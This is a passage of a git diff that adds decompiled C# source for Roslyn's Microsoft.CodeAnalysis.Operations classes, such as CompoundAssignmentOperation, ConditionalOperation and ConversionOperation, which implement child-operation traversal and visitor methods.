ConversionKind.Exists) == ConversionKind.Exists; + + public bool IsIdentity => (_conversionKind & ConversionKind.IsIdentity) == ConversionKind.IsIdentity; + + public bool IsNullable => (_conversionKind & ConversionKind.IsNullable) == ConversionKind.IsNullable; + + public bool IsNumeric => (_conversionKind & ConversionKind.IsNumeric) == ConversionKind.IsNumeric; + + public bool IsReference => (_conversionKind & ConversionKind.IsReference) == ConversionKind.IsReference; + + public bool IsImplicit => (_conversionKind & ConversionKind.IsImplicit) == ConversionKind.IsImplicit; + + [MemberNotNullWhen(true, "MethodSymbol")] + public bool IsUserDefined + { + [MemberNotNullWhen(true, "MethodSymbol")] + get + { + return MethodSymbol != null; + } + } + + public IMethodSymbol? MethodSymbol { get; } + + public ITypeSymbol? ConstrainedToType { get; } + + internal CommonConversion(bool exists, bool isIdentity, bool isNumeric, bool isReference, bool isImplicit, bool isNullable, IMethodSymbol? methodSymbol, ITypeSymbol? constrainedToType) + { + _conversionKind = (ConversionKind)((exists ? 1 : 0) | (isIdentity ? 2 : 0) | (isNumeric ? 4 : 0) | (isReference ? 8 : 0) | (isImplicit ? 16 : 0) | (isNullable ? 32 : 0)); + MethodSymbol = methodSymbol; + ConstrainedToType = constrainedToType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CompoundAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CompoundAssignmentOperation.cs new file mode 100644 index 0000000..f5497dc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CompoundAssignmentOperation.cs @@ -0,0 +1,122 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class CompoundAssignmentOperation : BaseAssignmentOperation, ICompoundAssignmentOperation, IAssignmentOperation, IOperation +{ + internal IConvertibleConversion InConversionConvertible { get; } + + public CommonConversion InConversion => InConversionConvertible.ToCommonConversion(); + + internal IConvertibleConversion OutConversionConvertible { get; } + + public CommonConversion OutConversion => OutConversionConvertible.ToCommonConversion(); + + public BinaryOperatorKind OperatorKind { get; } + + public bool IsLifted { get; } + + public bool IsChecked { get; } + + public IMethodSymbol? OperatorMethod { get; } + + public ITypeSymbol? ConstrainedToType { get; } + + internal override int ChildOperationsCount => ((base.Target != null) ? 1 : 0) + ((base.Value != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CompoundAssignment; + + internal CompoundAssignmentOperation(IConvertibleConversion inConversion, IConvertibleConversion outConversion, BinaryOperatorKind operatorKind, bool isLifted, bool isChecked, IMethodSymbol? operatorMethod, ITypeSymbol? constrainedToType, IOperation target, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(target, value, semanticModel, syntax, isImplicit) + { + InConversionConvertible = inConversion; + OutConversionConvertible = outConversion; + OperatorKind = operatorKind; + IsLifted = isLifted; + IsChecked = isChecked; + OperatorMethod = operatorMethod; + ConstrainedToType = constrainedToType; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (base.Target != null) + { + return base.Target; + } + break; + case 1: + if (base.Value != null) + { + return base.Value; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitCompoundAssignment(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitCompoundAssignment(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalAccessInstanceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalAccessInstanceOperation.cs new file mode 100644 index 0000000..f42eb81 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalAccessInstanceOperation.cs @@ -0,0 +1,45 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ConditionalAccessInstanceOperation : Operation, IConditionalAccessInstanceOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ConditionalAccessInstance; + + internal ConditionalAccessInstanceOperation(SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitConditionalAccessInstance(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitConditionalAccessInstance(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalAccessOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalAccessOperation.cs new file mode 100644 index 0000000..278bf67 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalAccessOperation.cs @@ -0,0 +1,103 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ConditionalAccessOperation : Operation, IConditionalAccessOperation, IOperation +{ + public IOperation Operation { get; } + + public IOperation WhenNotNull { get; } + + internal override int ChildOperationsCount => ((Operation != null) ? 1 : 0) + ((WhenNotNull != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ConditionalAccess; + + internal ConditionalAccessOperation(IOperation operation, IOperation whenNotNull, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + WhenNotNull = Microsoft.CodeAnalysis.Operation.SetParentOperation(whenNotNull, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Operation != null) + { + return Operation; + } + break; + case 1: + if (WhenNotNull != null) + { + return WhenNotNull; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (WhenNotNull != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (WhenNotNull != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitConditionalAccess(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitConditionalAccess(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalOperation.cs new file mode 100644 index 0000000..af39218 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConditionalOperation.cs @@ -0,0 +1,129 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ConditionalOperation : Operation, IConditionalOperation, IOperation +{ + public IOperation Condition { get; } + + public IOperation WhenTrue { get; } + + public IOperation? WhenFalse { get; } + + public bool IsRef { get; } + + internal override int ChildOperationsCount => ((Condition != null) ? 1 : 0) + ((WhenTrue != null) ? 1 : 0) + ((WhenFalse != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Conditional; + + internal ConditionalOperation(IOperation condition, IOperation whenTrue, IOperation? whenFalse, bool isRef, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Condition = Operation.SetParentOperation(condition, this); + WhenTrue = Operation.SetParentOperation(whenTrue, this); + WhenFalse = Operation.SetParentOperation(whenFalse, this); + IsRef = isRef; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Condition != null) + { + return Condition; + } + break; + case 1: + if (WhenTrue != null) + { + return WhenTrue; + } + break; + case 2: + if (WhenFalse != null) + { + return WhenFalse; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Condition != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (WhenTrue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (WhenFalse != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (WhenFalse != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (WhenTrue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Condition != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitConditional(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitConditional(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConstantPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConstantPatternOperation.cs new file mode 100644 index 0000000..138d29f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConstantPatternOperation.cs @@ -0,0 +1,73 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ConstantPatternOperation : BasePatternOperation, IConstantPatternOperation, IPatternOperation, IOperation +{ + public IOperation Value { get; } + + internal override int ChildOperationsCount => (Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ConstantPattern; + + internal ConstantPatternOperation(IOperation value, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + Value = Operation.SetParentOperation(value, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Value != null) + { + return Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitConstantPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitConstantPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConstructorBodyOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConstructorBodyOperation.cs new file mode 100644 index 0000000..a886d91 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConstructorBodyOperation.cs @@ -0,0 +1,122 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ConstructorBodyOperation : BaseMethodBodyBaseOperation, IConstructorBodyOperation, IMethodBodyBaseOperation, IOperation +{ + public ImmutableArray Locals { get; } + + public IOperation? Initializer { get; } + + internal override int ChildOperationsCount => ((Initializer != null) ? 1 : 0) + ((base.BlockBody != null) ? 1 : 0) + ((base.ExpressionBody != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ConstructorBody; + + internal ConstructorBodyOperation(ImmutableArray locals, IOperation? initializer, IBlockOperation? blockBody, IBlockOperation? expressionBody, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(blockBody, expressionBody, semanticModel, syntax, isImplicit) + { + Locals = locals; + Initializer = Operation.SetParentOperation(initializer, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Initializer != null) + { + return Initializer; + } + break; + case 1: + if (base.BlockBody != null) + { + return base.BlockBody; + } + break; + case 2: + if (base.ExpressionBody != null) + { + return base.ExpressionBody; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (base.BlockBody != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (base.ExpressionBody != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (base.ExpressionBody != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (base.BlockBody != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitConstructorBodyOperation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitConstructorBodyOperation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConversionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConversionOperation.cs new file mode 100644 index 0000000..7f299a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ConversionOperation.cs @@ -0,0 +1,90 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ConversionOperation : Operation, IConversionOperation, IOperation +{ + public IOperation Operand { get; } + + internal IConvertibleConversion ConversionConvertible { get; } + + public CommonConversion Conversion => ConversionConvertible.ToCommonConversion(); + + public bool IsTryCast { get; } + + public bool IsChecked { get; } + + internal override int ChildOperationsCount => (Operand != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Conversion; + + public IMethodSymbol? OperatorMethod => Conversion.MethodSymbol; + + public ITypeSymbol? ConstrainedToType => Conversion.ConstrainedToType; + + internal ConversionOperation(IOperation operand, IConvertibleConversion conversion, bool isTryCast, bool isChecked, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operand = Operation.SetParentOperation(operand, this); + ConversionConvertible = conversion; + IsTryCast = isTryCast; + IsChecked = isChecked; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operand != null) + { + return Operand; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitConversion(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitConversion(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeclarationExpressionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeclarationExpressionOperation.cs new file mode 100644 index 0000000..832e4e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeclarationExpressionOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DeclarationExpressionOperation : Operation, IDeclarationExpressionOperation, IOperation +{ + public IOperation Expression { get; } + + internal override int ChildOperationsCount => (Expression != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DeclarationExpression; + + internal DeclarationExpressionOperation(IOperation expression, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Expression = Operation.SetParentOperation(expression, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Expression != null) + { + return Expression; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Expression != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Expression != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDeclarationExpression(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDeclarationExpression(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeclarationPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeclarationPatternOperation.cs new file mode 100644 index 0000000..6ccd1dc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeclarationPatternOperation.cs @@ -0,0 +1,53 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DeclarationPatternOperation : BasePatternOperation, IDeclarationPatternOperation, IPatternOperation, IOperation +{ + public ITypeSymbol? MatchedType { get; } + + public bool MatchesNull { get; } + + public ISymbol? DeclaredSymbol { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DeclarationPattern; + + internal DeclarationPatternOperation(ITypeSymbol? matchedType, bool matchesNull, ISymbol? declaredSymbol, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + MatchedType = matchedType; + MatchesNull = matchesNull; + DeclaredSymbol = declaredSymbol; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDeclarationPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDeclarationPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeconstructionAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeconstructionAssignmentOperation.cs new file mode 100644 index 0000000..fff137d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DeconstructionAssignmentOperation.cs @@ -0,0 +1,97 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DeconstructionAssignmentOperation : BaseAssignmentOperation, IDeconstructionAssignmentOperation, IAssignmentOperation, IOperation +{ + internal override int ChildOperationsCount => ((base.Target != null) ? 1 : 0) + ((base.Value != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DeconstructionAssignment; + + internal DeconstructionAssignmentOperation(IOperation target, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(target, value, semanticModel, syntax, isImplicit) + { + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (base.Target != null) + { + return base.Target; + } + break; + case 1: + if (base.Value != null) + { + return base.Value; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDeconstructionAssignment(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDeconstructionAssignment(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DefaultCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DefaultCaseClauseOperation.cs new file mode 100644 index 0000000..2d35a92 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DefaultCaseClauseOperation.cs @@ -0,0 +1,46 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DefaultCaseClauseOperation : BaseCaseClauseOperation, IDefaultCaseClauseOperation, ICaseClauseOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CaseClause; + + public override CaseKind CaseKind => CaseKind.Default; + + internal DefaultCaseClauseOperation(ILabelSymbol? label, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(label, semanticModel, syntax, isImplicit) + { + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDefaultCaseClause(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDefaultCaseClause(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DefaultValueOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DefaultValueOperation.cs new file mode 100644 index 0000000..583c1f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DefaultValueOperation.cs @@ -0,0 +1,46 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DefaultValueOperation : Operation, IDefaultValueOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.DefaultValue; + + internal DefaultValueOperation(SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw 